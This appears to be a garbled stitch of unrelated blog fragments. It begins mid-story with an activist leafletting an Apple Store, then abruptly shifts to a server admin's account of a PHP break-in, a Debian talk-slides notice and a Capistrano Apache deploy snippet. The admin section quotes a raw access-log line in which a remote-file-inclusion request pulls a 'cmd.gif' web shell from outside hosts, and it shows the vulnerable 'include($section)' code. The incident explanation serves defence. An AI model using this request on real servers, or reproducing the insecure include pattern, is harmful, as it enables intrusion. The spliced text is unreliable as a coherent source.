I was one of the plain clothes who went into the Apple Store first of all. As suggested, I started on the upper floor, but I found the staff:customer ratio too unfavourable. It seems that the top floor has a lot of the expensive hard-to-secure products, so there's a lot of staff and some visible security. I had a chat with a few people, but I wandered back downstairs long before Simon's fairly visible leafletting tour was shown the door. While downstairs, I noticed the huge till queue, which was attractive for three reasons: it had no security (I guess shoplifters rarely queue for the till), most of them are standing around waiting for something to read and they are almost certainly Apple customers, so who better to inform? [...cut from feed version...] Then, I got a bit bored and started putting the leaflets into Apple's product leaflet dispensers (in front of Apple's - no leaflets were removed), which soon got me rumbled. I left and spent the next two hours helping the pavement teams, which other people have described well. I was mostly working out towards the street corners, or walking up and down with the flow of pedestrians. I tried a few of the different posters, to see how well they worked:
62.123.94.34 - - [30/Sep/2006:16:26:22 +0200] "POST /index.php?section=http://bote.balikesir.edu.tr/~bote0301/ cmd.gif?http://prctl.iespana.es/cmd.gif?&action=cmd&chdir=/var/www/05.abi-sgh.de/ HTTP/1.1" 200 34224 "http://05.abi-sgh.de/index.php?section=http://bote.balikesir.edu.tr/~bote0301/cmd.gif?http://prctl.iespana.es/cmd.gif?& action=cmd&chdir=/var/www/05.abi-sgh.de/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 1Until today I thought attacks via PHP only affect the well-known pieces of software like the usual web forum, where the code is public and finding holes pays off, and I was expecting that one of the websites on my server ran such a buggy version of something. It truned out that the index.php affected here is actually a self-programmed piece of code by someone from that class. But I guess the mistake they did is as common as it is stupid, and I also guess that PHP's reputation for being insecure is justified, if this is actually possible.The relevant piece of code is, after the usual HTML header: <? include($section); ?>. That's it. $section is defined no where, and PHP has a mode where CGI parameters are used one-to-one as global variables. So $section is actually the user's option to the "section=" part of the header. And PHP also seems to open URLs and local files just the same. So the attacker just had to put a PHP code file (the cmd.gif file is actually a php file) somewhere and pass it as the "section". Now, I'm sure with the right server settings and differnet code, PHP can be as secure (or insecure) as perl or python. But Features like that should not be in a web programming language in the first place!The cmd.gif seems to be some kind of shell for the web, allowing the user to run commands, download stuff etc, and that's how they operated on my machine. I am not sure why the binary they installed got access to port 80 and 443, but I assume that the php they run can somehow exec() the binary, thus taking over the ports, and when the webserver was restarted in the night because of log rotation, it could not come up again. Another puzzling fact is the directory they stored their stuff in. It is not related to the site they hacked, and happend to be one of the least-used parts of /var/www. Maybe they looked for directories with a very long ago atime or something.I guess I have to have a closer look at what happens on my server. Any maybe I will ban self-written php.Update: A lot of comments came in with suggestions on how to improve security with foreign PHP content. Thanks to all of you! I also hope that other admins might stumble over this page and read these comments before something happens.
payback time. I just uploaded the slides of the talk to people.d.o. (Slides made with latex-beamer; source-code availabe, too, licensed under GPL-2; feel free to do your own talks based on this or to contribute new ideas.) BTW: I did that talk twice in English, at DebConf5 's debianday and before that at Asian mini debconf 2005 in Beijing. Might be easier to understand for non German readers ;) The DebConf-5 session was filmed by the video team. It's available on meetings-archide.d.n in different formats mpeg (111M), low resolution ogg theora (57M), high res ogg theora (123M). Kudos again to the video team :) Oh, and I should mention, that it wasn't my fault, that I look a bit like a clueless idiot in that video. We had technical problems on the first day, distracting me a bit. Really! BTW: I always planed to write a good documentation regarding that topic, but never had the time to do this. I have still some notes on paper. If someone would like to help me with this, please drop me a mail.
# after setup, do a one-time link in
task :after_setup do
sudo "ln -nfs # current_path /config/# application
/etc/apache2/sites-available/"
end
# cause apache2 to re-read. you probably have this rule anyway
task :restart do
# if you're running mongrel_cluster, uncomment the following line
# restart_mongrel_cluster
sudo "/usr/sbin/apache2ctl graceful"
end
The first time round you'll probably want to do a2ensite yourapp manually, but this could easily be added into the after_setup rule.
Not rocket science, but a pleasing bit of configuration that keeps things tidy.
Next.